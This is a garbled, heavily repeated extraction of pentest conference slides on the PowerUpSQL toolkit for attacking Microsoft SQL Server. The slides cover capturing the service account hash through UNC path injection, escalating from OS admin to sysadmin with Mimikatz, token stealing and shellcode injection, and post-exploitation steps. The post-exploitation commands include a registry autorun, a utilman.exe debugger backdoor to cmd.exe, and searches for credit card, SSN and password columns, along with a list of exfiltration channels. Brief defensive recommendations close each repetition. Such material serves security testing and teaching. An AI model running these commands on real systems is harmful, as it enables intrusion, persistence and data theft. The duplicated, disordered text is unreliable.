Process Migration x x x x x x
Token Stealing x x x x x X
Single User Mode x x x x x
Below are some options for leveraging that knowledge
Escalating Privileges OS Admin to SysAdminHere are some tool options
Approach Common Tools
Access as Local Administrator Management Studio sqlcmd and other native SQL client tools
Access as LocalSystem Psexec accessibility options debugger with native SQL client tools
Recover SQL Server service account password from LSA Secrets
Mimikatz Metasploit lsadump
Inject shellcode or DLL into the SQL Server service process
Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)
Steal Authentication Token From SQL Server service process
Metasploit Incognito Invoke-TokenManipulation
Single User Mode DBATools
Common Post Exploitation Activities
Post Exploitation OverviewCommon Post Exploitation Activities
1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc
2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples
3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS
tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)
Post Exploitation PersistenceTask Command Example
Registry Autorun Persistence
Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014
Debugger Backdoor Persistence
Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014
Post Exploitation Persistence
Post Exploitation Finding Sensitive DataTask Command Example
Locate Encrypted Databases
Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo
Locate and Sample Sensitive Columnsand Export to CSV
Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv
Post Exploitation Finding Sensitive Data
DEMO
Post Exploitation Finding Sensitive Data
DEMO
GeneralRecommendations
General RecommendationsThings to dohellip
1 Enforce least privilege everywhere
2 Disable dangerous default stored procedures
3 Audit and fix insecure configurations
4 Use policy based management for standardizing configurations
5 Enable auditing at the server and database levels and monitor for potentially malicious activity
PowerUpSQL Overview Thanks
Individual Third Party Code Direct Contributors
Boe Prox Runspace blogs
Warren F ( RamblingCookieMonster) Invoke-Parallel function
Oyvind Kallstad Test-IsLuhnValid function
Kevin Robertson Invoke-Inveigh
Joe Bialek Invoke-TokenManipulation
Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov
Contributions and QA
Khai Tran Design advice
NetSPI assessment team and dev team Design advice
Speaker Information
Name Scott Sutherland
Job Network amp Application Pentester NetSPI
Twitter _nullbind
Slides httpslidesharenetnullbindhttpslidesharenetnetspi
Blogs httpsblognetspicomauthorscott-sutherland
Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind
Escalating Privileges UNC Path Injection
Escalating Privileges UNC Path Injection
Oh yeahhellip
By DEFAULT the PUBLIC role can execute (at least) two procedures that accept a file path
xp_dirtreexp_fileexists
Escalating Privileges UNC Path Injection
So in summaryhellip
The PUBLIC role can access the SQL Server service account NetNTLM
password hash by default
Escalating Privileges UNC Path Injection
But who really hasPUBLIC role access
Oh yeah a ton of domain users
Escalating Privileges DEMO
DEMOGet-SQLServiceAccountPwHashes
hellipwhat Itrsquos self descriptive
Escalating Privileges UNC Path Injection
DEMO
EscalatingPrivileges
OS Admin to SysAdmin
Escalating Privileges OS Admin to SysAdminTwo things to knowhellip
1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges
Escalating Privileges OS Admin to SysAdmin
Approach 2000 2005 2008 2012 2014 2016
LSA Secrets x x x x x x
Local Administrator x x
LocalSystem x x x
Process Migration x x x x x x
Token Stealing x x x x x X
Single User Mode x x x x x
Below are some options for leveraging that knowledge
Escalating Privileges OS Admin to SysAdminHere are some tool options
Approach Common Tools
Access as Local Administrator Management Studio sqlcmd and other native SQL client tools
Access as LocalSystem Psexec accessibility options debugger with native SQL client tools
Recover SQL Server service account password from LSA Secrets
Mimikatz Metasploit lsadump
Inject shellcode or DLL into the SQL Server service process
Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)
Steal Authentication Token From SQL Server service process
Metasploit Incognito Invoke-TokenManipulation
Single User Mode DBATools
Common Post Exploitation Activities
Post Exploitation OverviewCommon Post Exploitation Activities
1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc
2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples
3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS
tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)
Post Exploitation PersistenceTask Command Example
Registry Autorun Persistence
Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014
Debugger Backdoor Persistence
Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014
Post Exploitation Persistence
Post Exploitation Finding Sensitive DataTask Command Example
Locate Encrypted Databases
Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo
Locate and Sample Sensitive Columnsand Export to CSV
Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv
Post Exploitation Finding Sensitive Data
DEMO
Post Exploitation Finding Sensitive Data
DEMO
GeneralRecommendations
General RecommendationsThings to dohellip
1 Enforce least privilege everywhere
2 Disable dangerous default stored procedures
3 Audit and fix insecure configurations
4 Use policy based management for standardizing configurations
5 Enable auditing at the server and database levels and monitor for potentially malicious activity
PowerUpSQL Overview Thanks
Individual Third Party Code Direct Contributors
Boe Prox Runspace blogs
Warren F ( RamblingCookieMonster) Invoke-Parallel function
Oyvind Kallstad Test-IsLuhnValid function
Kevin Robertson Invoke-Inveigh
Joe Bialek Invoke-TokenManipulation
Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov
Contributions and QA
Khai Tran Design advice
NetSPI assessment team and dev team Design advice
Speaker Information
Name Scott Sutherland
Job Network amp Application Pentester NetSPI
Twitter _nullbind
Slides httpslidesharenetnullbindhttpslidesharenetnetspi
Blogs httpsblognetspicomauthorscott-sutherland
Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind
Escalating Privileges UNC Path Injection
Oh yeahhellip
By DEFAULT the PUBLIC role can execute (at least) two procedures that accept a file path
xp_dirtreexp_fileexists
Escalating Privileges UNC Path Injection
So in summaryhellip
The PUBLIC role can access the SQL Server service account NetNTLM
password hash by default
Escalating Privileges UNC Path Injection
But who really hasPUBLIC role access
Oh yeah a ton of domain users
Escalating Privileges DEMO
DEMOGet-SQLServiceAccountPwHashes
hellipwhat Itrsquos self descriptive
Escalating Privileges UNC Path Injection
DEMO
EscalatingPrivileges
OS Admin to SysAdmin
Escalating Privileges OS Admin to SysAdminTwo things to knowhellip
1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges
Escalating Privileges OS Admin to SysAdmin
Approach 2000 2005 2008 2012 2014 2016
LSA Secrets x x x x x x
Local Administrator x x
LocalSystem x x x
Process Migration x x x x x x
Token Stealing x x x x x X
Single User Mode x x x x x
Below are some options for leveraging that knowledge
Escalating Privileges OS Admin to SysAdminHere are some tool options
Approach Common Tools
Access as Local Administrator Management Studio sqlcmd and other native SQL client tools
Access as LocalSystem Psexec accessibility options debugger with native SQL client tools
Recover SQL Server service account password from LSA Secrets
Mimikatz Metasploit lsadump
Inject shellcode or DLL into the SQL Server service process
Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)
Steal Authentication Token From SQL Server service process
Metasploit Incognito Invoke-TokenManipulation
Single User Mode DBATools
Common Post Exploitation Activities
Post Exploitation OverviewCommon Post Exploitation Activities
1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc
2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples
3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS
tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)
Post Exploitation PersistenceTask Command Example
Registry Autorun Persistence
Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014
Debugger Backdoor Persistence
Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014
Post Exploitation Persistence
Post Exploitation Finding Sensitive DataTask Command Example
Locate Encrypted Databases
Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo
Locate and Sample Sensitive Columnsand Export to CSV
Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv
Post Exploitation Finding Sensitive Data
DEMO
Post Exploitation Finding Sensitive Data
DEMO
GeneralRecommendations
General RecommendationsThings to dohellip
1 Enforce least privilege everywhere
2 Disable dangerous default stored procedures
3 Audit and fix insecure configurations
4 Use policy based management for standardizing configurations
5 Enable auditing at the server and database levels and monitor for potentially malicious activity
PowerUpSQL Overview Thanks
Individual Third Party Code Direct Contributors
Boe Prox Runspace blogs
Warren F ( RamblingCookieMonster) Invoke-Parallel function
Oyvind Kallstad Test-IsLuhnValid function
Kevin Robertson Invoke-Inveigh
Joe Bialek Invoke-TokenManipulation
Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov
Contributions and QA
Khai Tran Design advice
NetSPI assessment team and dev team Design advice
Speaker Information
Name Scott Sutherland
Job Network amp Application Pentester NetSPI
Twitter _nullbind
Slides httpslidesharenetnullbindhttpslidesharenetnetspi
Blogs httpsblognetspicomauthorscott-sutherland
Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind
Escalating Privileges UNC Path Injection
So in summaryhellip
The PUBLIC role can access the SQL Server service account NetNTLM
password hash by default
Escalating Privileges UNC Path Injection
But who really hasPUBLIC role access
Oh yeah a ton of domain users
Escalating Privileges DEMO
DEMOGet-SQLServiceAccountPwHashes
hellipwhat Itrsquos self descriptive
Escalating Privileges UNC Path Injection
DEMO
EscalatingPrivileges
OS Admin to SysAdmin
Escalating Privileges OS Admin to SysAdminTwo things to knowhellip
1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges
Escalating Privileges OS Admin to SysAdmin
Approach 2000 2005 2008 2012 2014 2016
LSA Secrets x x x x x x
Local Administrator x x
LocalSystem x x x
Process Migration x x x x x x
Token Stealing x x x x x X
Single User Mode x x x x x
Below are some options for leveraging that knowledge
Escalating Privileges OS Admin to SysAdminHere are some tool options
Approach Common Tools
Access as Local Administrator Management Studio sqlcmd and other native SQL client tools
Access as LocalSystem Psexec accessibility options debugger with native SQL client tools
Recover SQL Server service account password from LSA Secrets
Mimikatz Metasploit lsadump
Inject shellcode or DLL into the SQL Server service process
Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)
Steal Authentication Token From SQL Server service process
Metasploit Incognito Invoke-TokenManipulation
Single User Mode DBATools
Common Post Exploitation Activities
Post Exploitation OverviewCommon Post Exploitation Activities
1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc
2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples
3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS
tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)
Post Exploitation PersistenceTask Command Example
Registry Autorun Persistence
Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014
Debugger Backdoor Persistence
Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014
Post Exploitation Persistence
Post Exploitation Finding Sensitive DataTask Command Example
Locate Encrypted Databases
Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo
Locate and Sample Sensitive Columnsand Export to CSV
Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv
Post Exploitation Finding Sensitive Data
DEMO
Post Exploitation Finding Sensitive Data
DEMO
GeneralRecommendations
General RecommendationsThings to dohellip
1 Enforce least privilege everywhere
2 Disable dangerous default stored procedures
3 Audit and fix insecure configurations
4 Use policy based management for standardizing configurations
5 Enable auditing at the server and database levels and monitor for potentially malicious activity
PowerUpSQL Overview Thanks
Individual Third Party Code Direct Contributors
Boe Prox Runspace blogs
Warren F ( RamblingCookieMonster) Invoke-Parallel function
Oyvind Kallstad Test-IsLuhnValid function
Kevin Robertson Invoke-Inveigh
Joe Bialek Invoke-TokenManipulation
Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov
Contributions and QA
Khai Tran Design advice
NetSPI assessment team and dev team Design advice
Speaker Information
Name Scott Sutherland
Job Network amp Application Pentester NetSPI
Twitter _nullbind
Slides httpslidesharenetnullbindhttpslidesharenetnetspi
Blogs httpsblognetspicomauthorscott-sutherland
Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind
Escalating Privileges UNC Path Injection
But who really hasPUBLIC role access
Oh yeah a ton of domain users
Escalating Privileges DEMO
DEMOGet-SQLServiceAccountPwHashes
hellipwhat Itrsquos self descriptive
Escalating Privileges UNC Path Injection
DEMO
EscalatingPrivileges
OS Admin to SysAdmin
Escalating Privileges OS Admin to SysAdminTwo things to knowhellip
1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges
Escalating Privileges OS Admin to SysAdmin
Approach 2000 2005 2008 2012 2014 2016
LSA Secrets x x x x x x
Local Administrator x x
LocalSystem x x x
Process Migration x x x x x x
Token Stealing x x x x x X
Single User Mode x x x x x
Below are some options for leveraging that knowledge
Escalating Privileges OS Admin to SysAdminHere are some tool options
Approach Common Tools
Access as Local Administrator Management Studio sqlcmd and other native SQL client tools
Access as LocalSystem Psexec accessibility options debugger with native SQL client tools
Recover SQL Server service account password from LSA Secrets
Mimikatz Metasploit lsadump
Inject shellcode or DLL into the SQL Server service process
Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)
Steal Authentication Token From SQL Server service process
Metasploit Incognito Invoke-TokenManipulation
Single User Mode DBATools
Common Post Exploitation Activities
Post Exploitation OverviewCommon Post Exploitation Activities
1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc
2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples
3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS
tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)
Post Exploitation PersistenceTask Command Example
Registry Autorun Persistence
Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014
Debugger Backdoor Persistence
Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014
Post Exploitation Persistence
Post Exploitation Finding Sensitive DataTask Command Example
Locate Encrypted Databases
Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo
Locate and Sample Sensitive Columnsand Export to CSV
Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv
Post Exploitation Finding Sensitive Data
DEMO
Post Exploitation Finding Sensitive Data
DEMO
GeneralRecommendations
General RecommendationsThings to dohellip
1 Enforce least privilege everywhere
2 Disable dangerous default stored procedures
3 Audit and fix insecure configurations
4 Use policy based management for standardizing configurations
5 Enable auditing at the server and database levels and monitor for potentially malicious activity
PowerUpSQL Overview Thanks
Individual Third Party Code Direct Contributors
Boe Prox Runspace blogs
Warren F ( RamblingCookieMonster) Invoke-Parallel function
Oyvind Kallstad Test-IsLuhnValid function
Kevin Robertson Invoke-Inveigh
Joe Bialek Invoke-TokenManipulation
Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov
Contributions and QA
Khai Tran Design advice
NetSPI assessment team and dev team Design advice
Speaker Information
Name Scott Sutherland
Job Network amp Application Pentester NetSPI
Twitter _nullbind
Slides httpslidesharenetnullbindhttpslidesharenetnetspi
Blogs httpsblognetspicomauthorscott-sutherland
Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind
Escalating Privileges DEMO
DEMOGet-SQLServiceAccountPwHashes
hellipwhat Itrsquos self descriptive
Escalating Privileges UNC Path Injection
DEMO
EscalatingPrivileges
OS Admin to SysAdmin
Escalating Privileges OS Admin to SysAdminTwo things to knowhellip
1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges
Escalating Privileges OS Admin to SysAdmin
Approach 2000 2005 2008 2012 2014 2016
LSA Secrets x x x x x x
Local Administrator x x
LocalSystem x x x
Process Migration x x x x x x
Token Stealing x x x x x X
Single User Mode x x x x x
Below are some options for leveraging that knowledge
Escalating Privileges OS Admin to SysAdminHere are some tool options
Approach Common Tools
Access as Local Administrator Management Studio sqlcmd and other native SQL client tools
Access as LocalSystem Psexec accessibility options debugger with native SQL client tools
Recover SQL Server service account password from LSA Secrets
Mimikatz Metasploit lsadump
Inject shellcode or DLL into the SQL Server service process
Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)
Steal Authentication Token From SQL Server service process
Metasploit Incognito Invoke-TokenManipulation
Single User Mode DBATools
Common Post Exploitation Activities
Post Exploitation OverviewCommon Post Exploitation Activities
1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc
2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples
3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS
tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)
Post Exploitation PersistenceTask Command Example
Registry Autorun Persistence
Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014
Debugger Backdoor Persistence
Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014
Post Exploitation Persistence
Post Exploitation Finding Sensitive DataTask Command Example
Locate Encrypted Databases
Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo
Locate and Sample Sensitive Columnsand Export to CSV
Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv
Post Exploitation Finding Sensitive Data
DEMO
Post Exploitation Finding Sensitive Data
DEMO
GeneralRecommendations
General RecommendationsThings to dohellip
1 Enforce least privilege everywhere
2 Disable dangerous default stored procedures
3 Audit and fix insecure configurations
4 Use policy based management for standardizing configurations
5 Enable auditing at the server and database levels and monitor for potentially malicious activity
PowerUpSQL Overview Thanks
Individual Third Party Code Direct Contributors
Boe Prox Runspace blogs
Warren F ( RamblingCookieMonster) Invoke-Parallel function
Oyvind Kallstad Test-IsLuhnValid function
Kevin Robertson Invoke-Inveigh
Joe Bialek Invoke-TokenManipulation
Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov
Contributions and QA
Khai Tran Design advice
NetSPI assessment team and dev team Design advice
Speaker Information
Name Scott Sutherland
Job Network amp Application Pentester NetSPI
Twitter _nullbind
Slides httpslidesharenetnullbindhttpslidesharenetnetspi
Blogs httpsblognetspicomauthorscott-sutherland
Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind
Escalating Privileges UNC Path Injection
DEMO
EscalatingPrivileges
OS Admin to SysAdmin
Escalating Privileges OS Admin to SysAdminTwo things to knowhellip
1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges
Escalating Privileges OS Admin to SysAdmin
Approach 2000 2005 2008 2012 2014 2016
LSA Secrets x x x x x x
Local Administrator x x
LocalSystem x x x
Process Migration x x x x x x
Token Stealing x x x x x X
Single User Mode x x x x x
Below are some options for leveraging that knowledge
Escalating Privileges OS Admin to SysAdminHere are some tool options
Approach Common Tools
Access as Local Administrator Management Studio sqlcmd and other native SQL client tools
Access as LocalSystem Psexec accessibility options debugger with native SQL client tools
Recover SQL Server service account password from LSA Secrets
Mimikatz Metasploit lsadump
Inject shellcode or DLL into the SQL Server service process
Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)
Steal Authentication Token From SQL Server service process
Metasploit Incognito Invoke-TokenManipulation
Single User Mode DBATools
Common Post Exploitation Activities
Post Exploitation OverviewCommon Post Exploitation Activities
1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc
2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples
3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS
tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)
Post Exploitation PersistenceTask Command Example
Registry Autorun Persistence
Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014
Debugger Backdoor Persistence
Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014
Post Exploitation Persistence
Post Exploitation Finding Sensitive DataTask Command Example
Locate Encrypted Databases
Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo
Locate and Sample Sensitive Columnsand Export to CSV
Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv
Post Exploitation Finding Sensitive Data
DEMO
Post Exploitation Finding Sensitive Data
DEMO
GeneralRecommendations
General RecommendationsThings to dohellip
1 Enforce least privilege everywhere
2 Disable dangerous default stored procedures
3 Audit and fix insecure configurations
4 Use policy based management for standardizing configurations
5 Enable auditing at the server and database levels and monitor for potentially malicious activity
PowerUpSQL Overview Thanks
Individual Third Party Code Direct Contributors
Boe Prox Runspace blogs
Warren F ( RamblingCookieMonster) Invoke-Parallel function
Oyvind Kallstad Test-IsLuhnValid function
Kevin Robertson Invoke-Inveigh
Joe Bialek Invoke-TokenManipulation
Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov
Contributions and QA
Khai Tran Design advice
NetSPI assessment team and dev team Design advice
Speaker Information
Name Scott Sutherland
Job Network amp Application Pentester NetSPI
Twitter _nullbind
Slides httpslidesharenetnullbindhttpslidesharenetnetspi
Blogs httpsblognetspicomauthorscott-sutherland
Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind
EscalatingPrivileges
OS Admin to SysAdmin
Escalating Privileges OS Admin to SysAdminTwo things to knowhellip
1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges
Escalating Privileges OS Admin to SysAdmin
Approach 2000 2005 2008 2012 2014 2016
LSA Secrets x x x x x x
Local Administrator x x
LocalSystem x x x
Process Migration x x x x x x
Token Stealing x x x x x X
Single User Mode x x x x x
Below are some options for leveraging that knowledge
Escalating Privileges OS Admin to SysAdminHere are some tool options
Approach Common Tools
Access as Local Administrator Management Studio sqlcmd and other native SQL client tools
Access as LocalSystem Psexec accessibility options debugger with native SQL client tools
Recover SQL Server service account password from LSA Secrets
Mimikatz Metasploit lsadump
Inject shellcode or DLL into the SQL Server service process
Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)
Steal Authentication Token From SQL Server service process
Metasploit Incognito Invoke-TokenManipulation
Single User Mode DBATools
Common Post Exploitation Activities
Post Exploitation OverviewCommon Post Exploitation Activities
1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc
2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples
3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS
tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)
Post Exploitation PersistenceTask Command Example
Registry Autorun Persistence
Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014
Debugger Backdoor Persistence
Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014
Post Exploitation Persistence
Post Exploitation Finding Sensitive DataTask Command Example
Locate Encrypted Databases
Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo
Locate and Sample Sensitive Columnsand Export to CSV
Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv
Post Exploitation Finding Sensitive Data
DEMO
Post Exploitation Finding Sensitive Data
DEMO
GeneralRecommendations
General RecommendationsThings to dohellip
1 Enforce least privilege everywhere
2 Disable dangerous default stored procedures
3 Audit and fix insecure configurations
4 Use policy based management for standardizing configurations
5 Enable auditing at the server and database levels and monitor for potentially malicious activity
PowerUpSQL Overview Thanks
Individual Third Party Code Direct Contributors
Boe Prox Runspace blogs
Warren F ( RamblingCookieMonster) Invoke-Parallel function
Oyvind Kallstad Test-IsLuhnValid function
Kevin Robertson Invoke-Inveigh
Joe Bialek Invoke-TokenManipulation
Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov
Contributions and QA
Khai Tran Design advice
NetSPI assessment team and dev team Design advice
Speaker Information
Name Scott Sutherland
Job Network amp Application Pentester NetSPI
Twitter _nullbind
Slides httpslidesharenetnullbindhttpslidesharenetnetspi
Blogs httpsblognetspicomauthorscott-sutherland
Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind
Escalating Privileges OS Admin to SysAdminTwo things to knowhellip
1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges
Escalating Privileges OS Admin to SysAdmin
Approach 2000 2005 2008 2012 2014 2016
LSA Secrets x x x x x x
Local Administrator x x
LocalSystem x x x
Process Migration x x x x x x
Token Stealing x x x x x X
Single User Mode x x x x x
Below are some options for leveraging that knowledge
Escalating Privileges OS Admin to SysAdminHere are some tool options
Approach Common Tools
Access as Local Administrator Management Studio sqlcmd and other native SQL client tools
Access as LocalSystem Psexec accessibility options debugger with native SQL client tools
Recover SQL Server service account password from LSA Secrets
Mimikatz Metasploit lsadump
Inject shellcode or DLL into the SQL Server service process
Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)
Steal Authentication Token From SQL Server service process
Metasploit Incognito Invoke-TokenManipulation
Single User Mode DBATools
Common Post Exploitation Activities
Post Exploitation OverviewCommon Post Exploitation Activities
1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc
2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples
